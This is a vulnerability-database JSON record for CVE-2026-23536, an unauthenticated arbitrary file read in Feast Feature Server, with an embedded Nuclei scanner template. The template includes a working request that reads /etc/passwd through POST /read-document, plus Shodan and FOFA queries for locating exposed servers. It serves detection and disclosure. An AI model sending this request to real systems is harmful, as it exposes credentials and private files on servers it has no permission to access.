{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-23536/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-23536/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-23536/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-23536/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-23536/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-23536/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-23536"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-23536"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-23536.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2026-23536\n\ninfo:\n  name: Feast Feature Server <=0.58.0 - Arbitrary File Read\n  author: str4k3r\n  severity: high\n  description: |\n    Feast (the open-source Feature Store) Feature Server through 0.58.0 exposes an unauthenticated POST /read-document endpoint that reads an arbitrary, caller-supplied file path with no authentication and no path validation. The read_document_endpoint handler passes the JSON `file_path` field straight to os.path.exists()/open() and returns the file contents in the JSON `content` field, so a remote, unauthenticated attacker can read any file readable by the server process (e.g. /etc/passwd, feature_store.yaml, cloud credentials). Unlike the store-mutating routes it carries no inject_user_details/permission dependency.\n  reference:\n    - https://access.redhat.com/security/cve/CVE-2026-23536\n    - https://bugzilla.redhat.com/show_bug.cgi?id=2429302\n    - https://github.com/feast-dev/feast\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-23536\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-23536\n    epss-score: 0.02409\n    epss-percentile: 0.84152\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    product: feast\n    vendor: feast-dev\n    shodan-query: http.favicon.hash:493797515\n    fofa-query: icon_hash=\"493797515\"\n  tags: cve,cve2026,feast,lfi,traversal,mlops,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /read-document HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"file_path\":\"/etc/passwd\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"content\":'\n          - '\"file_path\":'\n        condition: and\n\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022036a6f2b14c936fef71d6909dccb853ea6373c7259afc4db82bffd38f4c63e9ee022100aab4eb19c9aec2d5050077ef33becbf387c594fd3a4e877110148095e321ba3a:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-23536"
}